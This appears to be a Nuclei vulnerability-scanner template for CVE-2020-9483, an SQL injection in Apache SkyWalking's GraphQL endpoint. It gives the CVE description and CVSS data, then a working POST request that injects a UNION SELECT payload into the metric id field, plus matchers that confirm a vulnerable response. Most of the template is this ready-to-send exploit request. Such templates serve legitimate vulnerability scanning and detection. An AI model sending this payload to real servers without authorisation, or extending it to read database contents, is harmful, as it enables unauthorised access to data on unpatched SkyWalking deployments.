id: CVE-2020-9483 info: name: SkyWalking SQLI author: pikpikcu severity: high description: | When use H2/MySQL/TiDB as Apache SkyWalking storage, the metadata query through GraphQL protocol, there is a SQL injection vulnerability, which allows to access unpexcted data. Apache SkyWalking 6.0.0 to 6.6.0, 7.0.0 H2/MySQL/TiDB storage implementations don't use the appropriate way to set SQL parameters. reference: https://github.com/apache/skywalking/pull/4639 tags: cve,cve2020,sqli,skywalking classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.50 cve-id: CVE-2020-9483 cwe-id: CWE-89 requests: - method: POST path: - "{{BaseURL}}/graphql" headers: Content-Type: application/json body: | {"query":"query SQLi($d: Duration!){globalP99:getLinearIntValues(metric: {name:\"all_p99\",id:\"') UNION SELECT 1,CONCAT('~','9999999999','~')-- \",}, duration: $d){values{value}}}","variables":{"d":{"start":"2021-11-11","end":"2021-11-12","step":"DAY"}}} matchers-condition: and matchers: - type: word words: - "Content-Type: application/json" part: header - type: word words: - "UNION SELECT 1,CONCAT('~','9999999999','~')--" - 'Exception while fetching data' part: body condition: and - type: status status: - 200